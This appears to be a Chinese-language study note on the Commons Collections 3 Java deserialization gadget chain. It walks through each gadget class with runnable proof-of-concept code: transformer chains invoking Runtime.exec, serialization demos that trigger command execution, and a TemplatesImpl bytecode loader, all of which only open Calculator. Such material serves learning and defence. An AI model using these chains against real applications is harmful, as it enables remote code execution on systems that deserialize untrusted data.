0%

CC3基础知识

CC3基础知识

简单总结一下cc3用到的基础知识。

Transformer

Transformer是一个接口,其transform,是一个待实现的方法。

1
2
3
public interface Transformer {
Object transform(Object var1);
}

InvokerTransformer

InvokerTransformer是实现了Transformer接口的具体类,其transform方法是通过反射去执行方法。

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

测试代码,执行以下代码可弹计算机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.commons.collections.functors.InvokerTransformer;

/**
* author: f19t
* Date: 2023/2/25 16:19
*/
public class Test_InvokerTransformer {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("open /System/Applications/Calculator.app")});

invokerTransformer.transform(java.lang.Runtime.getRuntime());
}

}

ConstantTransformer

ConstantTransformer是实现了Transformer接口的具体类,其transform方法是返回输入的对象。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

因为ConstantTransformer构造函数参数可控,所以我们可以通过transform获取我们的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.commons.collections.functors.ConstantTransformer;

/**
* author: f19t
* Date: 2023/2/25 16:29
*/
public class Test_ConstantTransformer {
public static void main(String[] args) {
String s = new String("1");
ConstantTransformer constantTransformer = new ConstantTransformer(s);
String a = (String) constantTransformer.transform(null);
System.out.println(s.equals(a));
}

}
1
true

ChainedTransformer

ChainedTransformer是实现了Transformer接口的具体类,其Transform方法是依次按顺序调用transform数组内的Transform变量的transform方法。

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

测试以下代码可以成功弹计算机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

/**
* author: f19t
* Date: 2023/2/25 16:39
*/
public class Test_ChainedTransformer {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{ //定义一个命令执行的transformers数组
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}

LazyMap

LazyMap的decorate()方法接收两个参数,(Map map, Transformer factory)。

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

并且当map.containsKey(key)==null时,其get方法会调用factory.transform(key)方法。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

InvocationHandler动态代理

实现接口的类,如果使用动态代理,执行任意方法都会执行动态代理的invoke方法。

1
2
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;

AnnotationInvocationHandler

AnnotationInvocationHandler是一个动态代理程序,其有两个参数,Class<? extends Annotation> var1, Map<String, Object> var2,一个参数是集成Annotation的类,另一个是Map对象。

1
2
3
4
5
6
7
8
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.memberValues = var2;
}
public Object invoke(Object var1, Method var2, Object[] var3) {
Object var6 = this.memberValues.get(var4);//关键代码
}
}

测试代码,执行任意命令都可弹计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/**
* author: f19t
* Date: 2023/2/25 17:06
*/
public class Test_AnnotationInvocationHandler {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
// outerMap.get("1");

Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c1.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Target.class, outerMap);//参数一,只要继承Annotation的类都可以
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);
proxyMap.clear();//执行任意命令都可弹计算器
}

}

反序列化demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.io.*;

/**
* author: f19t
* Date: 2023/2/25 17:06
*/
public class Test_AnnotationInvocationHandler {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
// outerMap.get("1");

Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = c1.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler=(InvocationHandler) construct.newInstance(Target.class, outerMap);//参数一,只要继承Annotation的类都可以
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);
// proxyMap.clear();//执行任意命令都可弹计算器
handler = (InvocationHandler) construct.newInstance(Target.class, proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}

}


注意,反序列化时,高版本AnnotationInvocationHandler的LazyMap,变成了LinkedHashMap,所以上面POC无法在高版本命令执行。

TiedMapEntry

其hashCode方法调用getValue方法,getValue方法里面有存在map.get方法。

1
2
3
4
5
6
7
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
return this.map.get(this.key);
}

以下测试代码弹计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

/**
* author: f19t
* Date: 2023/2/25 18:09
*/
public class Test_TiedMapEntry {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tt=new TiedMapEntry(outerMap,"tt");
tt.hashCode();
}
}

反序列化测试代码,注意:回弹两遍计算机,因为hashmap的readObject的putVal会调用hash方法,里面调用了hashcode,进而调用get,触发了命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
* author: f19t
* Date: 2023/2/25 18:09
*/
public class Test_TiedMapEntry {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] fake = new Transformer[]{new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};
Transformer transformerChain = new ChainedTransformer(fake);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tt = new TiedMapEntry(outerMap, "tt");
Map expMap = new HashMap();
expMap.put(tt, "yy");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
outerMap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

TrAXFilter

TrAXFilter会执行传入的templates的newTransformer方法。

1
2
3
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
_transformer = (TransformerImpl) templates.newTransformer();

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import static ysoserial.payloads.util.Reflections.setFieldValue;

/**
* author: f19t
* Date: 2023/2/25 19:03
*/
public class Test_TrAXFilter {
public static void main(String[] args) throws Exception {
byte[] testClassBytes = new byte[]{-54 ,-2 ,-70 ,-66 ,0 ,0 ,0 ,52 ,0 ,47 ,10 ,0 ,9 ,0 ,22 ,
10 ,0 ,23 ,0 ,24 ,8 ,0 ,25 ,10 ,0 ,23 ,0 ,26 ,9 ,0 ,
27 ,0 ,28 ,8 ,0 ,29 ,10 ,0 ,30 ,0 ,31 ,7 ,0 ,32 ,7 ,
0 ,33 ,1 ,0 ,9 ,116 ,114 ,97 ,110 ,115 ,102 ,111 ,114 ,109 ,1 ,
0 ,114 ,40 ,76 ,99 ,111 ,109 ,47 ,115 ,117 ,110 ,47 ,111 ,114 ,103 ,
47 ,97 ,112 ,97 ,99 ,104 ,101 ,47 ,120 ,97 ,108 ,97 ,110 ,47 ,105 ,
110 ,116 ,101 ,114 ,110 ,97 ,108 ,47 ,120 ,115 ,108 ,116 ,99 ,47 ,68 ,
79 ,77 ,59 ,91 ,76 ,99 ,111 ,109 ,47 ,115 ,117 ,110 ,47 ,111 ,114 ,
103 ,47 ,97 ,112 ,97 ,99 ,104 ,101 ,47 ,120 ,109 ,108 ,47 ,105 ,110 ,
116 ,101 ,114 ,110 ,97 ,108 ,47 ,115 ,101 ,114 ,105 ,97 ,108 ,105 ,122 ,
101 ,114 ,47 ,83 ,101 ,114 ,105 ,97 ,108 ,105 ,122 ,97 ,116 ,105 ,111 ,
110 ,72 ,97 ,110 ,100 ,108 ,101 ,114 ,59 ,41 ,86 ,1 ,0 ,4 ,67 ,
111 ,100 ,101 ,1 ,0 ,15 ,76 ,105 ,110 ,101 ,78 ,117 ,109 ,98 ,101 ,
114 ,84 ,97 ,98 ,108 ,101 ,1 ,0 ,10 ,69 ,120 ,99 ,101 ,112 ,116 ,
105 ,111 ,110 ,115 ,7 ,0 ,34 ,1 ,0 ,-90 ,40 ,76 ,99 ,111 ,109 ,
47 ,115 ,117 ,110 ,47 ,111 ,114 ,103 ,47 ,97 ,112 ,97 ,99 ,104 ,101 ,
47 ,120 ,97 ,108 ,97 ,110 ,47 ,105 ,110 ,116 ,101 ,114 ,110 ,97 ,108 ,
47 ,120 ,115 ,108 ,116 ,99 ,47 ,68 ,79 ,77 ,59 ,76 ,99 ,111 ,109 ,
47 ,115 ,117 ,110 ,47 ,111 ,114 ,103 ,47 ,97 ,112 ,97 ,99 ,104 ,101 ,
47 ,120 ,109 ,108 ,47 ,105 ,110 ,116 ,101 ,114 ,110 ,97 ,108 ,47 ,100 ,
116 ,109 ,47 ,68 ,84 ,77 ,65 ,120 ,105 ,115 ,73 ,116 ,101 ,114 ,97 ,
116 ,111 ,114 ,59 ,76 ,99 ,111 ,109 ,47 ,115 ,117 ,110 ,47 ,111 ,114 ,
103 ,47 ,97 ,112 ,97 ,99 ,104 ,101 ,47 ,120 ,109 ,108 ,47 ,105 ,110 ,
116 ,101 ,114 ,110 ,97 ,108 ,47 ,115 ,101 ,114 ,105 ,97 ,108 ,105 ,122 ,
101 ,114 ,47 ,83 ,101 ,114 ,105 ,97 ,108 ,105 ,122 ,97 ,116 ,105 ,111 ,
110 ,72 ,97 ,110 ,100 ,108 ,101 ,114 ,59 ,41 ,86 ,1 ,0 ,6 ,60 ,
105 ,110 ,105 ,116 ,62 ,1 ,0 ,3 ,40 ,41 ,86 ,7 ,0 ,35 ,1 ,
0 ,10 ,83 ,111 ,117 ,114 ,99 ,101 ,70 ,105 ,108 ,101 ,1 ,0 ,23 ,
72 ,101 ,108 ,108 ,111 ,84 ,101 ,109 ,112 ,108 ,97 ,116 ,101 ,115 ,73 ,
109 ,112 ,108 ,46 ,106 ,97 ,118 ,97 ,12 ,0 ,17 ,0 ,18 ,7 ,0 ,
36 ,12 ,0 ,37 ,0 ,38 ,1 ,0 ,40 ,111 ,112 ,101 ,110 ,32 ,47 ,
83 ,121 ,115 ,116 ,101 ,109 ,47 ,65 ,112 ,112 ,108 ,105 ,99 ,97 ,116 ,
105 ,111 ,110 ,115 ,47 ,67 ,97 ,108 ,99 ,117 ,108 ,97 ,116 ,111 ,114 ,
46 ,97 ,112 ,112 ,12 ,0 ,39 ,0 ,40 ,7 ,0 ,41 ,12 ,0 ,42 ,
0 ,43 ,1 ,0 ,19 ,72 ,101 ,108 ,108 ,111 ,32 ,84 ,101 ,109 ,112 ,
108 ,97 ,116 ,101 ,115 ,73 ,109 ,112 ,108 ,7 ,0 ,44 ,12 ,0 ,45 ,
0 ,46 ,1 ,0 ,28 ,121 ,115 ,111 ,115 ,101 ,114 ,105 ,97 ,108 ,47 ,
72 ,101 ,108 ,108 ,111 ,84 ,101 ,109 ,112 ,108 ,97 ,116 ,101 ,115 ,73 ,
109 ,112 ,108 ,1 ,0 ,64 ,99 ,111 ,109 ,47 ,115 ,117 ,110 ,47 ,111 ,
114 ,103 ,47 ,97 ,112 ,97 ,99 ,104 ,101 ,47 ,120 ,97 ,108 ,97 ,110 ,
47 ,105 ,110 ,116 ,101 ,114 ,110 ,97 ,108 ,47 ,120 ,115 ,108 ,116 ,99 ,
47 ,114 ,117 ,110 ,116 ,105 ,109 ,101 ,47 ,65 ,98 ,115 ,116 ,114 ,97 ,
99 ,116 ,84 ,114 ,97 ,110 ,115 ,108 ,101 ,116 ,1 ,0 ,57 ,99 ,111 ,
109 ,47 ,115 ,117 ,110 ,47 ,111 ,114 ,103 ,47 ,97 ,112 ,97 ,99 ,104 ,
101 ,47 ,120 ,97 ,108 ,97 ,110 ,47 ,105 ,110 ,116 ,101 ,114 ,110 ,97 ,
108 ,47 ,120 ,115 ,108 ,116 ,99 ,47 ,84 ,114 ,97 ,110 ,115 ,108 ,101 ,
116 ,69 ,120 ,99 ,101 ,112 ,116 ,105 ,111 ,110 ,1 ,0 ,19 ,106 ,97 ,
118 ,97 ,47 ,108 ,97 ,110 ,103 ,47 ,69 ,120 ,99 ,101 ,112 ,116 ,105 ,
111 ,110 ,1 ,0 ,17 ,106 ,97 ,118 ,97 ,47 ,108 ,97 ,110 ,103 ,47 ,
82 ,117 ,110 ,116 ,105 ,109 ,101 ,1 ,0 ,10 ,103 ,101 ,116 ,82 ,117 ,
110 ,116 ,105 ,109 ,101 ,1 ,0 ,21 ,40 ,41 ,76 ,106 ,97 ,118 ,97 ,
47 ,108 ,97 ,110 ,103 ,47 ,82 ,117 ,110 ,116 ,105 ,109 ,101 ,59 ,1 ,
0 ,4 ,101 ,120 ,101 ,99 ,1 ,0 ,39 ,40 ,76 ,106 ,97 ,118 ,97 ,
47 ,108 ,97 ,110 ,103 ,47 ,83 ,116 ,114 ,105 ,110 ,103 ,59 ,41 ,76 ,
106 ,97 ,118 ,97 ,47 ,108 ,97 ,110 ,103 ,47 ,80 ,114 ,111 ,99 ,101 ,
115 ,115 ,59 ,1 ,0 ,16 ,106 ,97 ,118 ,97 ,47 ,108 ,97 ,110 ,103 ,
47 ,83 ,121 ,115 ,116 ,101 ,109 ,1 ,0 ,3 ,111 ,117 ,116 ,1 ,0 ,
21 ,76 ,106 ,97 ,118 ,97 ,47 ,105 ,111 ,47 ,80 ,114 ,105 ,110 ,116 ,
83 ,116 ,114 ,101 ,97 ,109 ,59 ,1 ,0 ,19 ,106 ,97 ,118 ,97 ,47 ,
105 ,111 ,47 ,80 ,114 ,105 ,110 ,116 ,83 ,116 ,114 ,101 ,97 ,109 ,1 ,
0 ,7 ,112 ,114 ,105 ,110 ,116 ,108 ,110 ,1 ,0 ,21 ,40 ,76 ,106 ,
97 ,118 ,97 ,47 ,108 ,97 ,110 ,103 ,47 ,83 ,116 ,114 ,105 ,110 ,103 ,
59 ,41 ,86 ,0 ,33 ,0 ,8 ,0 ,9 ,0 ,0 ,0 ,0 ,0 ,3 ,
0 ,1 ,0 ,10 ,0 ,11 ,0 ,2 ,0 ,12 ,0 ,0 ,0 ,25 ,0 ,
0 ,0 ,3 ,0 ,0 ,0 ,1 ,-79 ,0 ,0 ,0 ,1 ,0 ,13 ,0 ,
0 ,0 ,6 ,0 ,1 ,0 ,0 ,0 ,14 ,0 ,14 ,0 ,0 ,0 ,4 ,
0 ,1 ,0 ,15 ,0 ,1 ,0 ,10 ,0 ,16 ,0 ,2 ,0 ,12 ,0 ,
0 ,0 ,25 ,0 ,0 ,0 ,4 ,0 ,0 ,0 ,1 ,-79 ,0 ,0 ,0 ,
1 ,0 ,13 ,0 ,0 ,0 ,6 ,0 ,1 ,0 ,0 ,0 ,16 ,0 ,14 ,
0 ,0 ,0 ,4 ,0 ,1 ,0 ,15 ,0 ,1 ,0 ,17 ,0 ,18 ,0 ,
2 ,0 ,12 ,0 ,0 ,0 ,58 ,0 ,2 ,0 ,2 ,0 ,0 ,0 ,22 ,
42 ,-73 ,0 ,1 ,-72 ,0 ,2 ,18 ,3 ,-74 ,0 ,4 ,76 ,-78 ,0 ,
5 ,18 ,6 ,-74 ,0 ,7 ,-79 ,0 ,0 ,0 ,1 ,0 ,13 ,0 ,0 ,
0 ,18 ,0 ,4 ,0 ,0 ,0 ,18 ,0 ,4 ,0 ,19 ,0 ,13 ,0 ,
20 ,0 ,21 ,0 ,21 ,0 ,14 ,0 ,0 ,0 ,4 ,0 ,1 ,0 ,19 ,
0 ,1 ,0 ,20 ,0 ,0 ,0 ,2 ,0 ,21 ,};

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{testClassBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
TrAXFilter trAXFilter = new TrAXFilter(obj);
}
}

HelloTemplatesImpl的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class
HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws Exception {
super();
Process p = Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
System.out.println("Hello TemplatesImpl");
}
}

InstantiateTransformer

InstantiateTransformer的transform方法会执行传入类的构造函数。

1
2
3
4
5
6
7
8
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.TransformerConfigurationException;


/**
* author: f19t
* Date: 2023/2/25 18:53
*/
public class Test_InstantiateTransformer {
public static void main(String[] args) throws TransformerConfigurationException {
InstantiateTransformer transformers = new InstantiateTransformer(null,null);
transformers.transform(hello.class);
}
}

hello代码

1
2
3
4
5
6
public class hello {
static {
System.out.println("hello");
}

}

有了InstantiateTransformer和TrAXFilter可以进行组合,进行执行字节码。
简要代码

1
2
3
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})};